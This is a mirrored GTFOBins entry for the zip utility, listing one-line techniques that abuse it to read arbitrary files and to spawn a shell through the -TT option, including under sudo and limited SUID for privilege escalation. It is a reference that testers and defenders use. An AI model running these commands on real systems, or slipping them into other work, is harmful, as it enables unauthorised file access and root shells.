mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
25 lines
473 B
Markdown
25 lines
473 B
Markdown
---
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file-to-read
|
|
TF=$(mktemp -u)
|
|
zip $TF $LFILE
|
|
unzip -p $TF
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
zip $TF /etc/hosts -T -TT 'sh #'
|
|
rm $TF
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
sudo zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
limited-suid:
|
|
- code: |
|
|
TF=$(mktemp -u)
|
|
./zip $TF /etc/hosts -T -TT 'sh #'
|
|
sudo rm $TF
|
|
---
|